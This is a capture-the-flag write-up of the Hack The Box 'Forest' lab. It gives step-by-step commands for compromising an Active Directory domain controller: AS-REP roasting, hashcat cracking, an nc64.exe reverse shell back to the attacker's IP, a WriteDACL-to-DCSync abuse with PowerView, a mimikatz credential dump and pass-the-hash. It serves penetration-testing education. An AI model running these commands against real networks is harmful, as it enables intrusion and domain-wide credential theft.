Forest WriteUp

By: TigaxMT

User

I already had write this but I lost it so now I will resume a bit compared to the older one.

My first step , as always, was run nmap:

nmap -sVC 10.10.10.161 -oN forest -vv

After that I realized the machine has LDAP, Kerberos, MS-RPC and SMB ports opened.

I started to open metasploit and scanned the smb port (445) and dcerp_auditor. The result was SMB is nothing interesting but dcerp_auditor returned some stuff.

I see that the 10.10.10.161 has a domain named htb.local so I added it on /etc/hosts:

10.10.10.161 htb.local

After all this I noticed that I don't understad what all this services does. So I started to search and read a lot about each of them. I wrote a small article about LDAP and Kerberos, you can access it here.

I studied a bit about Impacket too.

I figure out that I could get some usernames using LDAP protocol. We can get them with in various ways. The first that I choose was with Nmap:

nmap -p 389,3268 --script ldap-search –script-args ldap.qfilter=users,ldap.attrib={userPrincipalName} 10.10.10.161

But then I learn that Impacket have a script to get this. The script name is **samrdump.py**

Now I have usernames but I was completely lost. I figured out that I needed to get the users that have the preauth disabled. Impacket has a script for that: GetNPUsers.py

GetNPUsers.py htb.local/ -request -format hashcat -outputfile hashes

Now I know that user svc-alfresco don't have kerberos preauth and it gave us his TGT-REP hashed.
If we search a bit on hashcat by: kerberos 5 type 23 we found the code to this type of hash: 13100

hashcat -m 13100 -a 0 hashes rockyou.txt

hashes -> is the output file of GetNPUsers.py which contain the hash of the user
rockyou.txt -> is the dictionary

Ok, now we have credentials but how we can log? If we check the nmap scan we will see the machine has a higher port opened. That port is for WinRM(Windows Remote Management).

So we can use a tool called: Evil-WinRM (Thanks for MrPennybag for the nudge)

ruby evil-winrm.rb -i 10.10.10.161 -u svc-alfresco

And we have user access, in our Desktop we'll have the user.txt where the flag is placed.

Root

From the beginning I want to thank you wwincomm and Chobin73 for the tips, without it I would take much time to get root.

So we have a shell and in this stage we can guess that root flag will need AD (Active Directory) to get it.

The best way to check paths on AD is using the dog – BloodHound. So I clone the repository for start working with it.

Don't forget to install Neo4j on your machine because BloodHound use it has graph database. If you have doubts how to configure it go to this video where ippsec setup it for the first time.

Now that you have all stuff configured let's continue. You will need to run Invoke-BloodHound (A function of SharpHound.ps1 ingestor) inside the machine, but if you try it in evil-winrm will not work. So we need a reverse shell.

To make this possible we will need to upload 2 things: SharpHound.ps1 and nc64.exe

So let's open an evil-winrm session:
ruby evil.winrm.rb -i 10.10.10.161 -u svcalfresco

Now inside of it, upload the file:
upload nc64.exe
upload SharpHound.ps1

Now open a new tab on your terminal to setup a listener:
nc -lvp 9000

Back to your evil-winrm tab, we are going to connect it to the listener:
.\nc64.exe YOUR_IP_HERE 9000 -e C:\Windows\system32\cmd.exe

In your listener you will have a cmd. Lets upgrade it to a powershell:
powershell

So now we can load our SharpHound script:
Import-module .\SharpHound.ps1 -Force

Finally let's run the function that's return our zip file full of data:
Invoke-BloodHound -CollectionMethod All -LdapIgnoreCert -LDAPUser svcalfresco -LDAPPass s3rvice

If you go back to your evil session and break the reverse shell or open a new evil-winrm with svc-alfresco, you'll see a .zip file. Download it:
download some_date_numbers.zip

Load the .zip file on BloodHound and analyze it.

We want to have Administrator rights or have access to the Administrator account. Administrator accounts are memberOf Domain Admins group, just search for a path between svc-alfresco and Domain Admins group.

You'll see a path like this:

svc-alfresco >> another users (owned) >> EXCHANGE WINDOWS PERMISSIONS (users are memberOf it) >> HTB.LOCAL(where the excahnge have writedacl to this domain) >> Administrator >> Domain Admins

If we a user owned by svc-alfresco, memberOf Exchange group we can abuse the writedacl to get DCSync rights , consequently, we'll be able to dump hashes.

If you don't know what is WriteDacl and/or DCSync I can give you a small and basic explanation but I recommend go to the bottom of this writeup and check the links.

WriteDACL allow you to modify ACE(access control entry) giving you rights over an object.

DCSync allow an attacker to simulate the behavior of a DC(Domain Controller) so it can ask to another DCs for user passwords.

We need to create a new user first, open again an evil-winrm shell with user svc-alfresco but now we need to specify the flag -s that means we want to specify a directory where will be scripts to evil load on memory:
ruby evil.winrm.rb -i 10.10.10.161 -u svcalfresco -s .

First create a password for the new user, we need to use SecureString because PowerShell wants:

$pass=ConvertTo-SecureString "Password@1" -AsPlainText -Force

Creating a new user:

New-LocalUser "whyme" -Password $pass -FullName "whyme" -Description "Because yes"

Create a credential object that will be helpful in the future commands:

$cred=New-Object System.Management.Automation.PSCredential('htb\whyme', $pass)

Now load the PowerView.ps1(it should be on the directory that you specified on -s flag, the "." means current directory where I opened evil):

PowerView.ps1

Check if all modules are loaded:

menu

If a lot of modules appear on your screen, it should be loaded.
We can continue, making svc-alfresco own this new user:

Set-DomainObjectOwner -Identity whyme -OwnerIdentity svc-alfresco

Add our new user to Remote Users for you be able to connect via evil-winrm:

net localgroup "Remote Management Users" /add whyme

Using again PowerView modules we add the user to the Exchange group:

Add-DomainGroupMember -Identity "EXCHANGE WINDOWS PERMISSIONS" -Member 'whyme'

The last PowerView command (and this is a problematic one, if is not working well try to download this one):

Add-ObjectACL -PrincipalIdentity whyme -Rights DCSync

Probably you're tired with all the stuff that you need to did but we are almost finish. Remember the step where you need to make a reverse shell? You'll need to repeat but now with your new user. That is because mimkatz (the tool to attack using DCSync) not work well on evil.

So let's open an evil-winrm session:

ruby evil.winrm.rb -i 10.10.10.161 -u whyme

Now inside of it, upload the file:

upload nc64.exe

upload mimikatz.exe

Now open a new tab on your terminal to setup a listener:

nc -lvp 9000

Back to your evil-winrm tab, we are going to connect it to the listener:

.\nc64.exe YOUR_IP_HERE 9000 -e C:\Windows\system32\cmd.exe

Upgrade it:

powershell

Run mimikatz:

.\mimikatz.exe

And finally dump the Administrator hash:

lsadump::dcsync /user:Administrator

You'll see a NTLM Hash! Copy it but don't spend time like I did … Trying to cracking it -.-

Just remember that evil-winrm allow Pass-The-Hash, so:

ruby evil.winrm.rb -i 10.10.10.161 -u Administrator -H NTLM_HASH_HERE

Voilá! You can get your root flag.

My Opinion

For me, a completely newbie on Windows machines, was hard to finish this box. It should be ranked , at least, as Medium but this is just my opinion probably some people did it easily. Is all about experience and knowledge, when we have them is easy when we don't have it just go read articles, documentation, writeups of similar machines or watching videos about identical boxes.
I always pwn the boxes thinking what I can learn here and this box , without doubts, is the one where a learned most! So I enjoyed it because of that.
Below I will place some links to stuff that I think is good to read and fits in this box.

Hope that you understood all the steps, if not you can contact me (social media below too)

Until next box! Happy Hacking

Links

Microsoft Exchange ACL - https://pentestlab.blog/2019/09/12/microsoft-exchange-acl/
Allow Remote User access: http://woshub.com/powershell-remoting-via-winrm-for-non-admin-users/
Create new users: https://pureinfotech.com/create-new-user-account-powershell-windows-10/
Tips and Tricks for PowerView: https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

DCSync attack: https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync

Active Directory: https://book.hacktricks.xyz/windows/active-directory

Social Media

Twitter: @iN127pkt

Github: TigaxMT

E-mail: tiagodeha@protonmail.com